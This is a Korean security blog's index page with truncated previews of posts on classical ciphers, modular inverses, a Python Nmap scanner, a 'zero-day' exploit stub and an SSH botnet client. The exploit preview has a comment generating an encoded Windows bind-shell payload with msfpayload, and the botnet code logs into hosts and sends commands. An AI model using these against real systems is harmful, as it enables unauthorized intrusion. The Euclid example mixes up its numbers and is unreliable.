본문 바로가기

전체 글

Affine 암호 [Crypto] 근대 암호 중 하나인 Affine 암호입니다. 해당 압호는 Shift 암호를 개선한 형태라고는 하지만 Shift 암호보다 약합니다. 해당 암호의 원리를 알기전에 Shift 암호에 대해 간단히 설명하겠습니다. - Shift 암호는 시저 암호의 발전된 형태입니다. 시저암호는 단순히 알파벳에 +3 형태였습니다. 즉 [abc]라는 평문을 상대방에게 암호화하여 전달하게 되면 [def]가 됩니다. 그럼 해당 암호문을 받은 상대방은 알파벳에 -3을 해주면 [abc]라는 평문을 알 수 있게됩니다. 즉 키값이 3입니다. shift 암호는 고정된 키값 3이 아닌 유동적인 여러 키값을 사용이 가능합니다. 하지만 알파벳의 개수는 26개 즉 키값을 여러개를 사용하여도 키값이 26이 되면 원래의 평문이 출력되게 됩니다. 이는 m.. 더보기
Pigpen 암호 [Crypto] 근대 암호 중 암호문을 알파벳으로 구성하지 않고 심볼로 구성하는 경우도 있습니다. 그 중 하나가 Pigpen 암호입니다. 기하학적 단순 대체 암호라고도 불리는 Pigpen 암호는 알파벳 26자에 대한 심볼을 만들에 심볼을 이용한 암호문을 생성합니다. - 해당 심볼들을 이용한 암호문은 아래와 같습니다. 더보기
정보보호 역사(근대 암호) [Crypto] - 근대 암호에서도 환자와 전치를 사용한 암호 방식이 사용됩니다. - Vigenere Cipher는 고대암호인 시저 암호의 확장판입니다. 시저 암호가 무조건 알파벳 3칸 앞으로 미는 형태여서 키값이 '3'였다면 Vigenere 는 고정된 3이 아닌 암호화하는 사용자 가 원하는 키값으로 변경을 할 수 있습니다. 오늘은 5칸을 밀겠다. 내일 7칸을 밀겠다. 이런식으로 임의로 바꿀 수 있게 됩니다. 하지만 알파벳은 총 26개 최대 키값은 25까지 밖에 안되기 때문에 25번의 시도만 하면 암호를 해독할 수 있게 됩니다. - 2차 세계대전 당시에 사용했던 에니그마 역시 근대 암호화기계 입니다. 애니그마의 작동원리는 알파벳을 입력할 수 있는 자판이 있고 해당 자판 내부에 회전자와 여러 기계적, 전기적 하부체제로 이.. 더보기
정보보호 역사 (고대암호) [Crypto] 암호학 (Cryptography) - 암호는 정보를 제3자가 판독할 수 없는 문자로 대체하는 방식입니다. 유의미한 정보를 무의미한 문자로 변경하는 것입니다. 주로 암호화는 비밀(보안) 통신을 하거나 정보를 안전하게 저장, 보관할 때 사용합니다. 암호는 시기별로 고대암호 > 근대암호 > 현대암호로 구분됩니다. - 고대 암호 - - 고대 암호 : 환자(Substitution)암호, 전치(Transposition)암호 - 환자 암호는 다른 문자로 대체하는 방식의 암호입니다. - 전치 암호는 문장 내에서 문자의 위치를 바꾸는 암호입니다. - 두 암호방식의 기본원리는 지금까지도 사용중에 있습니다. - 고대 암호에는 스파르타에서 사용한 암호방식 중 하나인 Sctale 암호 방식이 있습니다. - Scytale 암호는.. 더보기
'Euclid 호제법'을 이용한 역원 구하기 'Euclid 호제법'은 두 수에 대한 최대공약수를 구하기 위해 사용하는 알고리즘 입니다. 해당 알고리즘을 이용하여 곱셈에 대한 역원 값을 구할 수 있습니다. 먼저 호제법을 시작할 때 두 수가 역원이 존재하는지를 확인해야 합니다. '3 mod 26' 을 계산한다고 가정하여 진행 합니다. [26 * x + 7 * y = 1]의 형태를 만들어야 합니다. 26 = 7 * 3 + 5 7 = 5 * 1 + 2 5 = 2 * 2 +1 - 두 수가 역원이 존재 하는지 점검합니다. 식의 마지막 부분이 1이 나올 때 까지 진행하고 만약 마지막까지 진행 하였을때 1이 아닌 수가 나오면 역원이 존재하지 않는 수 입니다. 5 = 7 - 5 * 1 * 2 + 1 더보기
'Nmap-python' 모듈을 이용한 Nmap Port Scanner [Python] import nmap import argparse def nmapScan(tgtHost, tgtPort): nmScan = nmap.PortScanner() nmScan.scan(tgtHost, tgtPort) state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state'] print " [*] " + tgtHost + " tcp/" + tgtPort + " " + state def main(): parser = argparse.ArgumentParser('usage%prog ' + \ '-H -p ') parser.add_argument('-H', dest = 'tgtHost', \ help = 'specify target host') parser.add_argument.. 더보기
제로 데이 개념의 공격 코드 [Python] import socket, sys, time, struct if len(sys.argv) 2: platform = sys.argv[2] #./msfpayload windows/shell_bind_tcp r | . /msfencode -e x86/shikata_ga_nai -b.. 더보기
SSH Bot_Net 환경 구축하기 [Python] import argparse from pexpect import pxssh class Client: def __init__(self, host, user, password): self.host = host self.user = user self.password = password self.session = self.connect() def connect(self): try: s = pxssh.pxssh() s.login(self.host, self.user, self.password) return s except Exception, e: print e print '[-] Error Connectiong' def send_command(self, cmd): self.session.sendline(cmd) .. 더보기